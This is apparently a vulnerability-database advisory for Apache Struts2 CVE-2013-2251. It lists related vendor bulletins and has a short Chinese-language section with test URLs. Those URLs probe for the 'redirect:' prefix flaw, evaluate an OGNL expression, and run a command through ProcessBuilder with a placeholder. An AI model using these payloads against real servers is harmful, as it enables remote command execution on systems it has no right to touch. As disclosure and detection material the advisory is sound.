Apache Struts2 多个前缀参数远程命令执行漏洞(CVE-2013-2251)

🗓️ 17 Jul 2013 00:00:00Reported by RootType

Apache Struts2 remote command execution vulnerability (CVE-2013-2251) fix availabl

Reporter	Title	Published	Views	Family All 77
0day.today	Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution	26 Jul 201300:00	–	zdt
IBM Security Bulletins	Security Bulletin: IBM Call Center and Apache Struts Struts upgrade strategy (various CVEs, see below)	14 Sep 202217:37	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Platform Symphony (CVE-2013-2251 CVE-2013-2248 CVE-2013-2135 CVE-2013-2134 CVE-2013-2115 CVE-2013-1966 CVE-2013-1965 CVE-2013-4310)	18 Jun 201801:24	–	ibm
IBM Security Bulletins	Security Bulletin: Unauthorized access exposure on IBM SAN Volume Controller and Storwize Family (CVE-2013-2251, CVE-2013-2248 CVE-2013-2135, CVE-2013-2134, CVE-2013-2115, CVE-2013-1966 and CVE-2013-1965)	29 Mar 202301:48	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Sterling Order Management Apache Struts upgrade strategy (various CVEs, see below)	14 Sep 202217:45	–	ibm
IBM Security Bulletins	Security Bulletin:Sterling Web Channel is affected by Apache Struts 2 security vulnerabilities (CVE-2013-4310, CVE-2013-4316, CVE-2013-2251, CVE-2013-2248, CVE-2013-2135, CVE-2013-2134, CVE-2013-2115, CVE-2013-1966, CVE-2013-1965)	16 Jun 201819:37	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Sterling Order Management and IBM Sterling Configure, Price, Quote are affected by multiple Apache Struts 2 security vulnerabilities.	16 Jun 201819:34	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Storwize V7000 Unified Update Includes Fixes for Multiple Vendor Security Vulnerabilities.	26 Sep 202204:23	–	ibm
IBM Security Bulletins	Security Bulletin: Unauthorized access exposure on IBM SAN Volume Controller and Storwize Family (CVE-2013-2251 CVE-2013-2248 CVE-2013-2135 CVE-2013-2134 CVE-2013-2115 CVE-2013-1966 CVE-2013-1965)	26 Sep 202222:21	–	ibm
ATTACKERKB	CVE-2013-2251	20 Jul 201300:00	–	attackerkb


                                                由于Apache Struts2 在最新修补版本2.3.15.1中已经禁用了重定向参数，因此只要重定向功能仍然有效，则说明受此漏洞影响：

http://host/struts2-showcase/employee/save.action?redirect:http://www.yahoo.com/

如果页面重定向到www.yahoo.com，则表明当前系统受此漏洞影响。

验证表达式解析和命令执行：

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

17 Jul 2013 00:00Current

1Low risk

Vulners AI Score1

EPSS0.94325